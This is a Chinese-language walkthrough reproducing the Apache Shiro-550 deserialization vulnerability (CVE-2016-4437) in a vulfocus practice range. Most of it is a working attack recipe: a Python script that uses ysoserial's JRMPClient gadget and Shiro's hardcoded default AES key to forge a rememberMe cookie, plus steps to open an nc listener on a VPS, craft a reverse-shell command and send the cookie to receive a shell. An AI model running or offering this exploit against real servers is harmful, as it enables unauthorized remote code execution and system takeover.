Apache Shiro-550(CVE-2016-4437)
背景:
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro易于理解的API,开发者可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
漏洞编号:
Apache Shiro-550(cve-2016-4437)
影响版本:
<= 1.2.4
环境搭建:
1,打开vulfocus靶场
2,使用浏览器访问
工具准备:
1,下载shiro_tool.jar漏洞验证工具
https://github.com/wyzxxz/shiro_rce_tool
2,下载maven 打tar包用
wget https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
使用tar解压缩包tar zxvf apache-maven-3.6.3-bin.tar.gz
将maven移动到/usr/local/下
使用vim编辑/etc/profile最下面加入两行环境变量
刷新环境变量source /etc/profile
3,下载ysoserial 生成Remember Me的工具
git clone https://github.com/frohoff/ysoserial.git
使用mvn打包编译
cd ysoserial
mvn package -D skipTests(打包完的ysoserial-0.0.6-SNAPSHOT-all.jar在ysoserial/target文件中)
漏洞复现:
1,使用shiro_tool.jar工具检测漏洞是否存在(检测存在默认key)
2,在VPS上开启nc监听
3,构造反弹shell地址,并使用网站加密
https://www.jackson-t.ca/runtime-exec-payloads.html
4,通过ysoserial中的JRMP监听模块,监听6666端口并执行反弹shell
5,在ysoserial的target目录中,创建一个shiro.py脚本
内容如下:
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar','ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
6,运行shiro.py脚本(将shiro.py拷贝到ysoserial的target目录下,否则会找不到ysoserial-0.0.6-SNAPSHOT-all.jar)
7,点击网页红框
8,输入admin,admin登录,勾选Remember Me,并抓包,将shiro.py生成的cookie拼接到数据包的cookie后(注意有;)
9,点击发送数据包,VPS获得反弹shell